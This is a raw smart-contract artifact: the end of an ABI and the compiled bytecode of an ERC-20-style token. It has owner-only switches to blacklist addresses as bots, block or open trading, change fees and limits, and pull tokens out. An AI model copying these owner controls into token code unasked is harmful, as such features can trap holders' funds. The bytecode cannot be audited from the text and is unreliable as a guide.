unction"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"markBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"markBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processBlockDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processGasAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"progressRewardBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"refreshFeeAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token_","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueLossToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token_","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"rescueLossTokenAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetTradeState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reuseLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_holdRewardCondition","type":"uint256"},{"internalType":"uint256","name":"_processRewardCondition","type":"uint256"}],"name":"setDividendCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holdToken","type":"address"},{"internalType":"address","name":"_usdt","type":"address"}],"name":"setDividendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_user","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setExcludes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeMarketingBuy","type":"uint256"},{"internalType":"uint256","name":"_feeLiquidityBuy","type":"uint256"},{"internalType":"uint256","name":"_feeDividendBuy","type":"uint256"},{"internalType":"uint256","name":"_feeBurnBuy","type":"uint256"}],"name":"setFeeBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeMarketingSell","type":"uint256"},{"internalType":"uint256","name":"_feeLiquiditySell","type":"uint256"},{"internalType":"uint256","name":"_feeDividendSell","type":"uint256"},{"internalType":"uint256","name":"_feeBurnSell","type":"uint256"}],"name":"setFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isLimited_","type":"bool"},{"internalType":"uint256","name":"LimitBuy_","type":"uint256"},{"internalType":"uint256","name":"LimitSell_","type":"uint256"},{"internalType":"uint256","name":"LimitHold_","type":"uint256"}],"name":"setLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setProcessBlockDuration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setProcessGasAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_kn","type":"uint256"},{"internalType":"uint256","name":"_kb","type":"uint256"},{"internalType":"address","name":"_surpAddress","type":"address"}],"name":"setSurprise","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setSwapTokensAt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"s","type":"uint256"}],"name":"setTradeState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"surpAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSplit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5060408051808201825260038082526220a4a960e91b602080840182905284518086019095528285528401529091906200004c838262000ee7565b5060046200005b828262000ee7565b50505062000078620000726200020560201b60201c565b62000209565b600a80546001600160a01b03191633179055604080516315ab88c960e31b815290516b033b2e3c9fd0803ce80000009173dda05fba65f8ad37c8cc79eab9dd683b6f01ea17918291737a250d5630b4cf539739df2c5dacb4c659f2488d91600091839163ad5c4648916004808201926020929091908290030181865afa15801562000107573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200012d919062000fb3565b905060006200014883836200025b60201b62001a7d1760201c565b6101f4601f8190556000602081815560218290556022829055602392909255602481905560258190556026559091506200019c906a108b2a2c28029094000000908190819062001c4362000422821b17901c565b6001620001c582600066038d7ea4c680008060146207a1206200043660201b62001c521760201c565b620001de600080336200046c60201b620011011760201c565b620001f887878786856200050760201b62001c881760201c565b5050505050505062001064565b3390565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa158015620002b8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002de919062000fb3565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af11580156200032f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000355919062000fb3565b600580546001600160a01b0319166001600160a01b03929092169182179055620003839083908590620006d9565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af1158015620003d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003fe919062000fe5565b506200040e308460001962000849565b506005546001600160a01b03165b92915050565b62000431600184848462000971565b505050565b6200044286866200099b565b6200044e8484620009d3565b6200045982620009e8565b6200046481620009f7565b505050505050565b600a546001600160a01b03163314806200049057506009546001600160a01b031633145b620004dd5760405162461bcd60e51b8152602060048201526024808201526000805160206200551283398151915260448201526331ba37b960e11b60648201526084015b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b612710601d8190556007601e5562000538906200052660648862001009565b62000532919062001009565b62000a06565b603280546001600160a01b0319166001600160a01b0386161790556200055f838662000a78565b6200057733600162000b3b60201b620014471760201c565b6200058f30600162000b3b60201b620014471760201c565b620005a784600162000b3b60201b620014471760201c565b620005bf83600162000b3b60201b620014471760201c565b80156200066b57620005de30600162000b7060201b620016fe1760201c565b620005f76000600162000b7060201b620016fe1760201c565b6200060f60018062000b7060201b620016fe1760201c565b6200062961dead600162000b7060201b620016fe1760201c565b6200063f8462000ba560201b620016e61760201c565b620006558362000ba560201b620016e61760201c565b6200066b3362000ba560201b620016e61760201c565b6200067562000bbd565b81604051620006849062000dbc565b6001600160a01b039091168152602001604051809103906000f080158015620006b1573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b600880546001600160a01b0319166001600160a01b03851617905560408051600280825260608201835260009260208301908036833701905050905030816000815181106200072c576200072c6200102c565b60200260200101906001600160a01b031690816001600160a01b03168152505083816001815181106200076357620007636200102c565b6001600160a01b0390921660209283029190910182015281516200078e916007919084019062000dca565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af11580156200081c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000842919062000fe5565b5050505050565b6001600160a01b038316620008ad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620004d4565b6001600160a01b038216620009105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004d4565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200097b62000c8d565b600d805460ff191694151594909417909355600e91909155600f55601055565b620009a562000c8d565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b620009dd62000c8d565b601691909155601755565b620009f262000c8d565b601855565b62000a0162000c8d565b601955565b600a546001600160a01b031633148062000a2a57506009546001600160a01b031633145b62000a735760405162461bcd60e51b8152602060048201526024808201526000805160206200551283398151915260448201526331ba37b960e11b6064820152608401620004d4565b602e55565b6001600160a01b03821662000ad05760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620004d4565b806002600082825462000ae4919062001042565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b62000b4562000c8d565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62000b7a62000c8d565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b62000baf62000c8d565b62000bba8162000cfc565b50565b602354601f5462000bcf919062001042565b60275560245460205462000be4919062001042565b60285560255460215462000bf9919062001042565b60295560265460225462000c0e919062001042565b602a55602254602154602054601f5462000c29919062001042565b62000c35919062001042565b62000c41919062001042565b602b5560265460255460245460235462000c5c919062001042565b62000c68919062001042565b62000c74919062001042565b602c819055602b5462000c88919062001042565b602d55565b600a546001600160a01b031633148062000cb157506009546001600160a01b031633145b62000cfa5760405162461bcd60e51b8152602060048201526024808201526000805160206200551283398151915260448201526331ba37b960e11b6064820152608401620004d4565b565b6001600160a01b0381163b1562000d105750565b6001600160a01b03811660009081526013602052604090205460ff161562000d355750565b6001600160a01b03811660009081526012602052604090205460ff1662000bba576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b61014780620053cb83390190565b82805482825590600052602060002090810192821562000e22579160200282015b8281111562000e2257825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000deb565b5062000e3092915062000e34565b5090565b5b8082111562000e30576000815560010162000e35565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168062000e7657607f821691505b60208210810362000e9757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200043157600081815260208120601f850160051c8101602086101562000ec65750805b601f850160051c820191505b81811015620004645782815560010162000ed2565b81516001600160401b0381111562000f035762000f0362000e4b565b62000f1b8162000f14845462000e61565b8462000e9d565b602080601f83116001811462000f53576000841562000f3a5750858301515b600019600386901b1c1916600185901b17855562000464565b600085815260208120601f198616915b8281101562000f845788860151825594840194600190910190840162000f63565b508582101562000fa35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121562000fc657600080fd5b81516001600160a01b038116811462000fde57600080fd5b9392505050565b60006020828403121562000ff857600080fd5b8151801515811462000fde57600080fd5b6000826200102757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b808201808211156200041c57634e487b7160e01b600052601160045260246000fd5b61435780620010746000396000f3fe608060405260043610620005075760003560e01c80638f5299121162000293578063c1e9afa2116200015f578063ec4dbb3011620000d1578063f7a46ec51162000090578063f7a46ec51462000f09578063f887ea401462000f21578063faee3dd41462000f43578063fdef69491462000f5b578063fe98e00c1462000f73578063fefe84fd1462000f9857600080fd5b8063ec4dbb301462000e6a578063f0a7c6d81462000e8f578063f2fde38b1462000ea7578063f3f48fdc1462000ecc578063f4a3ff3d1462000ee457600080fd5b8063d36e8239116200011e578063d36e82391462000dc9578063d4d7b19a1462000de1578063d8d3d4471462000e15578063dd54ef6e1462000e2d578063dd62ed3e1462000e4557600080fd5b8063c1e9afa21462000d1e578063c54e44eb1462000d36578063c8a528941462000d58578063c9567bf91462000d7d578063ca0277761462000d9557600080fd5b8063a8aa1b311162000205578063b6d6303011620001c4578063b6d630301462000c6a578063b90922b81462000c8c578063b9f8d0d71462000ca4578063ba033c111462000cc9578063bcc100f11462000ce1578063bdf7a8e61462000cf957600080fd5b8063a8aa1b311462000bc1578063a9059cbb1462000be3578063ae9163291462000c08578063b572fe341462000c2d578063b66e49c71462000c5257600080fd5b80639c27242b11620002525780639c27242b1462000b255780639d6109f81462000b3d5780639ffecfb71462000b55578063a21f31101462000b7a578063a457c2d71462000b9c57600080fd5b80638f5299121462000a8657806395d89b411462000a9e578063961d3cd31462000ab6578063996d03091462000adb57806399f7d6731462000b0057600080fd5b80633812e91411620003d35780635b7b15c311620003455780636e4db58711620003045780636e4db58714620009c257806370a0823114620009e4578063715018a61462000a1e57806373724dd51462000a36578063864e18271462000a4e5780638da5cb5b1462000a6657600080fd5b80635b7b15c314620009215780635fe8e7cc146200094657806360f52141146200096d578063622565891462000985578063673687b7146200099d57600080fd5b80634c7552d611620003925780634c7552d614620008785780634e6b805e146200089a57806353674ba614620008bf57806359102a0714620008e45780635990985814620008fc57600080fd5b80633812e91414620007ce5780633950935114620007e657806339a74c8c146200080b5780633bbac5791462000823578063438d64e1146200086057600080fd5b80632a11ced011620004795780632c20aafa11620004385780632c20aafa146200071c5780632dab693f14620007345780632f8a21bf146200074c578063313ce567146200076657806331c71f4d146200078457806333f96f4614620007a957600080fd5b80632a11ced014620006945780632a29ad3b14620006b95780632a59551214620006d15780632b0e258e14620006e95780632b20fafe146200070157600080fd5b80631a2e207911620004c65780631a2e207914620005df5780632287fcb7146200061a57806323b872dd146200063f578063240d7d71146200066457806326987b60146200067c57600080fd5b806306fdde031462000514578063095ea7b31462000544578063155fc50d146200057a57806316f9a5ec14620005a157806318160ddd14620005c857600080fd5b366200050f57005b600080fd5b3480156200052157600080fd5b506200052c62000fbd565b6040516200053b919062003940565b60405180910390f35b3480156200055157600080fd5b5062000569620005633660046200398b565b62001057565b60405190151581526020016200053b565b3480156200058757600080fd5b506200059260185481565b6040519081526020016200053b565b348015620005ae57600080fd5b50620005c6620005c0366004620039ba565b62001073565b005b348015620005d557600080fd5b5060025462000592565b348015620005ec57600080fd5b5060335462000601906001600160a01b031681565b6040516001600160a01b0390911681526020016200053b565b3480156200062757600080fd5b50620005c662000639366004620039e3565b62001082565b3480156200064c57600080fd5b50620005696200065e36600462003a21565b620010ac565b3480156200067157600080fd5b506200059260205481565b3480156200068957600080fd5b5062000592601a5481565b348015620006a157600080fd5b5062000601620006b3366004620039ba565b620010d6565b348015620006c657600080fd5b506200059260255481565b348015620006de57600080fd5b5062000592601b5481565b348015620006f657600080fd5b506200059260165481565b3480156200070e57600080fd5b50600b546001111562000569565b3480156200072957600080fd5b5062000592601e5481565b3480156200074157600080fd5b506200059260305481565b3480156200075957600080fd5b50600b5460011062000569565b3480156200077357600080fd5b50604051601281526020016200053b565b3480156200079157600080fd5b50620005c6620007a336600462003a67565b62001101565b348015620007b657600080fd5b50620005c6620007c836600462003b92565b62001177565b348015620007db57600080fd5b5062000592602b5481565b348015620007f357600080fd5b5062000569620008053660046200398b565b620011ce565b3480156200081857600080fd5b506200059260245481565b3480156200083057600080fd5b50620005696200084236600462003bd3565b6001600160a01b03166000908152601c602052604090205460ff1690565b3480156200086d57600080fd5b506200059260315481565b3480156200088557600080fd5b5060085462000601906001600160a01b031681565b348015620008a757600080fd5b50620005c6620008b936600462003bf3565b620011f6565b348015620008cc57600080fd5b50620005c6620008de366004620039ba565b6200120b565b348015620008f157600080fd5b5062000592602d5481565b3480156200090957600080fd5b50620005c66200091b366004620039ba565b62001253565b3480156200092e57600080fd5b50620005c662000940366004620039ba565b62001262565b3480156200095357600080fd5b506200095e62001271565b6040516200053b919062003c16565b3480156200097a57600080fd5b506200059260285481565b3480156200099257600080fd5b50620005c6620012d4565b348015620009aa57600080fd5b50620005c6620009bc36600462003c65565b620012f7565b348015620009cf57600080fd5b5060325462000601906001600160a01b031681565b348015620009f157600080fd5b506200059262000a0336600462003bd3565b6001600160a01b031660009081526020819052604090205490565b34801562000a2b57600080fd5b50620005c662001350565b34801562000a4357600080fd5b50620005c662001366565b34801562000a5b57600080fd5b5062000592600b5481565b34801562000a7357600080fd5b506009546001600160a01b031662000601565b34801562000a9357600080fd5b506200059260175481565b34801562000aab57600080fd5b506200052c62001436565b34801562000ac357600080fd5b50620005c662000ad536600462003cbd565b62001447565b34801562000ae857600080fd5b50620005c662000afa36600462003cbd565b6200147c565b34801562000b0d57600080fd5b50620005c662000b1f36600462003cf0565b620014b1565b34801562000b3257600080fd5b5062000592602c5481565b34801562000b4a57600080fd5b50620005c662001568565b34801562000b6257600080fd5b506200059262000b74366004620039ba565b6200158c565b34801562000b8757600080fd5b5060145462000601906001600160a01b031681565b34801562000ba957600080fd5b506200056962000bbb3660046200398b565b6200164a565b34801562000bce57600080fd5b5060055462000601906001600160a01b031681565b34801562000bf057600080fd5b506200056962000c023660046200398b565b620016d6565b34801562000c1557600080fd5b50620005c662000c2736600462003bd3565b620016e6565b34801562000c3a57600080fd5b50620005c662000c4c36600462003cbd565b620016fe565b34801562000c5f57600080fd5b50620005c662001733565b34801562000c7757600080fd5b50602f5462000601906001600160a01b031681565b34801562000c9957600080fd5b506200059260195481565b34801562000cb157600080fd5b50620005c662000cc336600462003d23565b62001744565b34801562000cd657600080fd5b506200059260265481565b34801562000cee57600080fd5b5062000592601f5481565b34801562000d0657600080fd5b50620005c662000d1836600462003d56565b62001772565b34801562000d2b57600080fd5b506200059260215481565b34801562000d4357600080fd5b5060155462000601906001600160a01b031681565b34801562000d6557600080fd5b50620005c662000d7736600462003da1565b620017bd565b34801562000d8a57600080fd5b50620005c662001824565b34801562000da257600080fd5b506200056962000db436600462003bd3565b60136020526000908152604090205460ff1681565b34801562000dd657600080fd5b5062000592602e5481565b34801562000dee57600080fd5b506200056962000e0036600462003bd3565b60126020526000908152604090205460ff1681565b34801562000e2257600080fd5b506200059260275481565b34801562000e3a57600080fd5b506200059260225481565b34801562000e5257600080fd5b506200059262000e6436600462003cf0565b62001834565b34801562000e7757600080fd5b50620005c662000e8936600462003a21565b6200185f565b34801562000e9c57600080fd5b5062000592601d5481565b34801562000eb457600080fd5b50620005c662000ec636600462003bd3565b62001918565b34801562000ed957600080fd5b506200059260295481565b34801562000ef157600080fd5b50620005c662000f0336600462003d23565b62001994565b34801562000f1657600080fd5b50620005c6620019bc565b34801562000f2e57600080fd5b5060065462000601906001600160a01b031681565b34801562000f5057600080fd5b5062000592602a5481565b34801562000f6857600080fd5b506200059260235481565b34801562000f8057600080fd5b50620005c662000f9236600462003c65565b620019cd565b34801562000fa557600080fd5b50620005c662000fb736600462003cf0565b62001a45565b60606003805462000fce9062003e5c565b80601f016020809104026020016040519081016040528092919081815260200182805462000ffc9062003e5c565b80156200104d5780601f1062001021576101008083540402835291602001916200104d565b820191906000526020600020905b8154815290600101906020018083116200102f57829003601f168201915b5050505050905090565b6000336200106781858562001ddb565b60019150505b92915050565b6200107d62001f03565b601855565b6200108c62001f03565b600d805460ff191694151594909417909355600e91909155600f55601055565b600033620010bc85828562001f46565b620010c985858562001fc1565b60019150505b9392505050565b60118181548110620010e757600080fd5b6000918252602090912001546001600160a01b0316905081565b600a546001600160a01b03163314806200112557506009546001600160a01b031633145b6200114d5760405162461bcd60e51b8152600401620011449062003e98565b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b6200118162001f03565b60005b8151811015620011ca57620011b5828281518110620011a757620011a762003edc565b6020026020010151620022ea565b80620011c18162003f08565b91505062001184565b5050565b60003362001067818585620011e4838362001834565b620011f0919062003f24565b62001ddb565b6200120062001f03565b601691909155601755565b600a546001600160a01b03163314806200122f57506009546001600160a01b031633145b6200124e5760405162461bcd60e51b8152600401620011449062003e98565b602e55565b6200125d62001f03565b601955565b6200126c620023aa565b600b55565b606060118054806020026020016040519081016040528092919081815260200182805480156200104d57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620012ac575050505050905090565b620012de62001f03565b600d5460ff1615620012f557600d805460ff191690555b565b62001301620023af565b60005b82518110156200134b576200133683828151811062001327576200132762003edc565b6020026020010151836200147c565b80620013428162003f08565b91505062001304565b505050565b6200135a620023af565b620012f560006200240b565b602354601f5462001378919062003f24565b6027556024546020546200138d919062003f24565b602855602554602154620013a2919062003f24565b602955602654602254620013b7919062003f24565b602a55602254602154602054601f54620013d2919062003f24565b620013de919062003f24565b620013ea919062003f24565b602b5560265460255460245460235462001405919062003f24565b62001411919062003f24565b6200141d919062003f24565b602c819055602b5462001431919062003f24565b602d55565b60606004805462000fce9062003e5c565b6200145162001f03565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62001486620023af565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b600a546001600160a01b0316331480620014d557506009546001600160a01b031633145b620014f45760405162461bcd60e51b8152600401620011449062003e98565b6040516370a0823160e01b8152306004820152620011ca90839083906001600160a01b038316906370a0823190602401602060405180830381865afa15801562001542573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e89919062003f3a565b6200157262001f03565b600d5460ff16620012f557600d805460ff19166001179055565b60065460405163d06ca61f60e01b815260009182916001600160a01b039091169063d06ca61f90620015c690869060079060040162003f9f565b600060405180830381865afa158015620015e4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200160e919081019062003fba565b905060018151111562001641578060018151811062001631576200163162003edc565b6020026020010151915050919050565b50600092915050565b600033816200165a828662001834565b905083811015620016bc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840162001144565b620016cb828686840362001ddb565b506001949350505050565b6000336200106781858562001fc1565b620016f062001f03565b620016fb81620022ea565b50565b6200170862001f03565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6200173d620023aa565b6000600b55565b6200174e620023af565b60238490556024839055602582905560268190556200176c62001366565b50505050565b60005b81518110156200134b57620017a83383838151811062001799576200179962003edc565b6020026020010151856200245d565b80620017b48162003f08565b91505062001775565b60005b81518110156200134b576200180f33838381518110620017e457620017e462003edc565b602002602001015185848151811062001801576200180162003edc565b60200260200101516200245d565b806200181b8162003f08565b915050620017c0565b6200182e620023aa565b43600b55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546001600160a01b03163314806200188357506009546001600160a01b031633145b620018a25760405162461bcd60e51b8152600401620011449062003e98565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015620018f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200176c919062004054565b62001922620023af565b6001600160a01b038116620019895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162001144565b620016fb816200240b565b6200199e620023af565b601f8490556020839055602182905560228190556200176c62001366565b620019c6620023aa565b6001600b55565b620019d762001f03565b60005b82518110156200134b5781600c6000858481518110620019fe57620019fe62003edc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558062001a3c8162003f08565b915050620019da565b62001a4f62001f03565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562001ada573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b00919062004074565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562001b51573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b77919062004074565b600580546001600160a01b0319166001600160a01b0392909216918217905562001ba590839085906200253e565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af115801562001bfa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001c20919062004054565b5062001c30308460001962001ddb565b506005546001600160a01b031692915050565b6200134b600184848462001082565b62001c5e868662001a45565b62001c6a8484620011f6565b62001c758262001073565b62001c808162001253565b505050505050565b612710601d8190556007601e5562001cb39062001ca760648862004094565b620008de919062004094565b603280546001600160a01b0319166001600160a01b03861617905562001cda8386620026a7565b62001ce733600162001447565b62001cf430600162001447565b62001d0184600162001447565b62001d0e83600162001447565b801562001d6d5762001d22306001620016fe565b62001d3060006001620016fe565b62001d3d600180620016fe565b62001d4c61dead6001620016fe565b62001d5784620016e6565b62001d6283620016e6565b62001d6d33620016e6565b62001d7762001366565b8160405162001d86906200388b565b6001600160a01b039091168152602001604051809103906000f08015801562001db3573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b6001600160a01b03831662001e3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162001144565b6001600160a01b03821662001ea25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162001144565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a546001600160a01b031633148062001f2757506009546001600160a01b031633145b620012f55760405162461bcd60e51b8152600401620011449062003e98565b600062001f54848462001834565b905060001981146200176c578181101562001fb25760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640162001144565b6200176c848484840362001ddb565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200201e5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200207b5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0385166000908152600c602052604090205460ff1680620020bb57506001600160a01b0384166000908152600c602052604090205460ff165b80620020c5575082155b15620020de57620020d88585856200245d565b620022e3565b600080620020fa876005546001600160a01b0390811691161490565b156200218f57600b54600110620021545760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b6200216086866200276a565b6200216d878787620027df565b156200217b575050620022e3565b62002187878662002887565b9150620022a7565b6005546001600160a01b038088169116036200228857600b5460011115620021fa5760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b846200221b886001600160a01b031660009081526020819052604090205490565b0362002231576200222e606586620040b7565b94505b6200223b620028b7565b156200224a5750600162002277565b620022558562002b6c565b602d541562002268576200226862002bdb565b62002274878662002c29565b91505b6200228287620022ea565b620022a7565b